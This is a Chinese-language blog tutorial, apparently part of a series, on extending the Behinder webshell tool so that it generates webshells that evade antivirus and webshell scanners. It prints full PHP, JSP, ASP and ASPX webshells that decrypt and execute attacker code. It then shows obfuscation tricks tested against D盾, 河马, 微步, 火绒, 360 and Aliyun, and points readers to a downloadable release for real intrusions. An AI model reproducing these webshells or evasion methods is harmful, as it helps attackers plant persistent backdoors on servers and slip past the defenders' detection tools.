冰蝎二开从0到1-2(免杀)
前言
有小伙伴提议说,我们上个文章改了一下冰蝎的流量,但是在实际的应用中,我们打战肯定要先传木马落地,如果不能落地,那么你流量改的再好,其实也没有意义,想想,确实也是。没有第一步上传文件,哪里存在流量呢。
那么这次咱们来做一下免杀。在实际的应用中,似乎我们经常碰到安全设备,奈何咱这也没有啥安全设备,我们就采用常见的厂商的在线杀软吧。如果有小伙伴有的话,可以帮我测测,把结果告诉我,笔者再进行优化。
ui编写
在godzilla中,作者已经给我们写好了生成脚本的按钮,只需要自己去生成就好了,但是冰蝎是不自带的,冰蝎的木马是在我们下载的时候,放在同目录里面的,直接拿去用就好了。但似乎不太适合我们,为什么呢,因为就算我们将免杀后的木马放到目录下,他只能是一个文件,就是不能动态的生成了,一个免杀文件很容易被厂商标记,所以我们还是想办法去每次生成的都不太一样。
net/rebeyond/behinder/ui/controller是冰蝎界面的目录,里面有很多文件,包含各种controller
其中java的肯定都是各种功能文件了,fxml是ui界面了,冰蝎的ui界面使用的是JavaFX。
JavaFX 是 Java 平台的一个图形用户界面(GUI)工具包,用于创建富客户端应用(Rich Client Application)。它是 Java 的官方 GUI 库之一,是 Swing 的现代替代方案,支持硬件加速、样式化(CSS)、动画、多媒体等功能。
简单看一个main.fxml
可以看到一些TableColumn,也就是这里,
需要改什么的话,改这里就可以了。
这里不在讲解javafx的语法了,不是本文的重点,是在不会写,可以用scene builder去界面话编程,安装后
就可以使用了,直接拖动即可。
接下来开始写,在net/rebeyond/behinder/ui/Main.fxml,先加个按钮,
然后给到功能点,本来笔者想着直接在main.fxml里面直接写,但是把他的功能点net.rebeyond.behinder.ui.controller.MainController,copy一份后,总实报错,后面也没解决掉,索性直接从新定义一个Controller,写自己的功能。我们也从新定义一个免杀生成的界面,就是点击按钮后的界面,miansha.fxml
它的Controller,也是自己定义的,一会在里面写功能点。
因为刚刚我们提到MainController不能重新写,老是报错,我们就将免杀的按钮绑定到main.java,然后读取miansha.fxml,也是一样的。
这样,整个框架就完成了,后面就是补一下每个生成免杀的功能点了。
php
1 |
|
先看原版的server端木马,定义了key,$post=file_get_contents("php://input");
获取所有输入内容,这也就是我们上篇文章看到的冰蝎的流量是不需要传参的,拿到post的数据后,两种方式,如果没有openssl,就用post异或key,如果有openssl,那么就aes解发来的数据,然后用|
区分eval和assert也就是区分php5和php7去执行命令
后面就好理解了,用__invoke()方法,当你像调用函数一样“调用一个对象”时,PHP 会自动执行这个对象的 __invoke()
方法;
class C{public function __invoke($p) {eval($p."");}}
定义了一个类,@call_user_func(new C(),$params);
调用这个类,此时$params=$p,然后执行上面图片中看到的eval。
好,了解完木马,我们就可以写免杀了,
源码肯定报毒,我们先来fuzz一下,
去掉一半,报
这个地方我们可以先base64 在解回来。
这里再把file_get_contents给拆除去,既可以了,当然也可以base64一下
此时就报eval了,我们再去解决eval的问题。
这里我们可以使用godzilla那种写法,就可以了
大家会看到,下面的魔术函数没了,其实不用,反正都是加载eval,有一个就可以了,
报可疑文件,这里不知道哪里报了,我们接着fuzz
经过guzz发现是在xor那里,
1 | $post=$sddd($post.""); |
这好办,我们改改变量,改改数字即可,写到函数里就可以了。
河马本地版,
网页版有问题,我们也fuzz一下,
我们这里直接把eval拿掉,
就可以了,啊这,
这里直接把所有的都删掉,就剩eval,
也还是不行,那这样的话,暂时就解决不掉了。
微步
火绒,360
其他就不在测试了,大家要是有啥商业的可疑帮我测测,提issue。好开始封装到里面,这次我们依然用动态的,保证每次生成的木马hash都不一样。
先给定一个模板,然后将变量替换掉,花一点时间,写一下
ok,打包,编译
没有问题,正常使用。
好的,php我们就先到这里,接下来jsp。
jsp
老样子,先来学习一下jsp的木马
1 | <%import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> |
木马很短,核心就是payload 解密 base64, 在解密aes 在动态类加载
这里面经过笔者测试,<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>,容易被杀,session.putValue(“u”,k);Cipher c=Cipher.getInstance(“AES”);c.init(2,new SecretKeySpec(k.getBytes(),”AES”));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer也容易被杀,我们一点一点来,
原版的木马肯定报毒,我们fuzz一下,
直接给aes及功能去掉,不报,那就是,主要看下面这部分。
1 | <%if (request.getMethod().equals("PO"+"ST")){String ssss="e45e329feb5d925b"; |
去除new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(request,response,seesion);,就要报可疑
那么首先我们给他拆开,这一句太长了。
花一点点时间拆开了
就报了可疑,那么还是需要fuzz一下,看看那一句话不行。经过测试发现
1 | Cipher c = Cipher.getInstance("AES"); |
经过笔者测试,这两句都有问题,一句是加载aes,一句是动态加载类,我们在上次的哥斯拉二开中,其实已经发现了,d盾会拦截getClassLoader这种类似的单词,所以这里我们还是用getSystemClassLoader
ClassLoader cl = ClassLoader.getSystemClassLoader(); XxYzLoader u = new XxYzLoader(cl);
上次的哥斯拉免杀aes加密也是拦截,也就是SecretKeySpec,哥斯拉用的是反射类加载绕过的,这里我们使用匿名类,大部分 AES 用法都需要 SecretKeySpec
,但我们可以用一个匿名类直接实现 SecretKey
,只要它返回的内容符合要求。
1 | SecretKey key = new javax.crypto.SecretKey() { |
也就是这样,这样也就绕过了SecretKeySpec。
这样我们改完,也就没有问题了,免杀d盾了。
在线版河马也没有问题,上次我们的godzilla,jsp就没有过去,因为当时使用的是反射类加载,他会报反射类加载,这次并没有使用。
微步
也没啥问题。
火绒360
ok,其他的就不在测试了,我们封装到冰蝎中,改改名,让他动起来。
花一点点时间把模板写好,老样子,进行随机字符选取并且生成。
这里如果你在生成木马的时候,没有写木马,默认为bohemian
。
生成三分,都不一样,ok。
功能也都正常。再把404加上。
ok。jsp就先到这里。下面免杀asp。
asp
我们先来看下asp的木马,
1 | <% |
可以看到,很短,在asp中,加密就不在用aes了,而是用了xor,可能是调用aes不好调用了。我们来看下怎么免杀。
原版肯定被杀,这里xor需要改一下,还有就是execute需要改一下。
经过笔者测试,result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))这一句从新写一下就可过掉d盾。看看河马
河马本地的也是没有问题。在线的也没有问题。
微步,也没啥问题,最近测试好像老是未知。
我们花一点点时间封装一下,
整个模板,套一下,即可。
欧克。大家在使用的时候,如果传上去是500,不要慌,直接连接即可。正常使用。这个报错是没加try.不影响使用,因为没传递参数嘛.
同时也可以看到,加了状态码。
大家也可以看到这个asp的请求包和回显包都是乱码,这就是马中xor起的作用,有不可显字符嘛。
好的,asp先到这里,接下看aspx
aspx
还是先来看下aspx的源码,
1 | <%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%> |
也是很短。RijndaelManaged() 这里是创建aes加密,用获取到的key。那么我们就重点对这里做免杀。
先简单拆一下,可以看到单文件aspx,我们fuzz一下,看看哪里有问题,还是以前提到的,RijndaelManaged 换成AesManaged,这个加密函数替换一下,就可以了。
这里笔者在fuzz的时候发现是Assembly.Load,他是用来插件系统加载用户扩展 DLL,简单的来说就是加载内存的,似乎并没有什么其他的能替换掉,可以拆开,像下面这样反射加载。
1 | string asmClass = "System." + "Reflection." + "Assembly"; |
这样就把可以文件去掉了。
剩下这个单文件aspx了,这个我们在以前godzilla中,已经说到了,
就是头部有这种<%@ Page Language="C#" %>``<%@Import Namespace="System.Reflection"%>
,这里处理是将<%@ Page Language=”C#” %>放到后面,也就是文件底部,
那么其实还是会报单文件,这里就是还存在<%@Import Namespace="System.Reflection"%>
,我只需将这个引入命名空间System.Reflection直接写到利用的地方即可,
这样就不用在上面定义了。也就可以过d盾了。
本地河马没问题。在线河马也没问题
微步,只能说微步的gpt说的很对,当然给到gpt,我感觉都能分析出吧.
阿里云,aspx的我惊奇的发现,过掉了阿里云,在Godzilla中是没有过掉的,应该是吧字符串都拆开的原因.
好,这样免杀就做完了,360和火绒就不看了,没啥意思.
花一点点时间,封装一下,
好了,生成木马时记得写密码,不写的话就是bohemian。
使用起来也是没有任何问题。302状态码也加上了。这样aspx的也就完成了。
总结
在界面添加了免杀生成的按钮,这样在找马的时候就不会手忙脚乱的了,直接生成即可。这里也算进行了简单的免杀,全部语言除了 aliyun没有过去,其他的平台基本全过,aspx的阿里云过去了。不得不承认,aliyun是强的。php 简单使用了一下类、对关键字进行了chr的替换,jsp重写了base64编码方法,重写了加载aes,使用的反射型方法写的,对关键字进行替换,asp使用了chr进行替换关键字拼接字符串,换了一下函数的写法,aspx对关键函数拆开重写,并且将关键查杀函数重新写了一下。
下个版本
1.1版本添加木马的免杀,全语言都做好了,但是并没有改流量以及加密方式,只是做了伪装,
后面需要做的:修改一下加密方式,这样的话会更好一点。其他语言的 比如 jspx的 ,asmx的都没做,后面做。冰蝎4,是需要给到加密方式和解密方式的,我们想办法直接生成一个文件,里面包含免杀的木马,包含加解密方式,直接拿过来复制用即可,后面我们再来实现。
下载、使用
什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。
https://github.com/Bohemiana/godzilla_erkai
release 1.1 免杀版本,src代码也以上传,大家直接下载研究即可。
上个版本由于写的比较菜,没好意思跟大家要star,这次自我感觉还行,也算是实战能用了,如果感觉还凑合,大家帮忙点点star
致谢
最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。如果您感觉文章写的不错或者工具用起来还行,帮笔者点点stars、给公众号点点关注,先谢谢大家了。
参考
1 | https://github.com/rebeyond/Behinder 原版behinder |
emmm 太菜了
一直在路上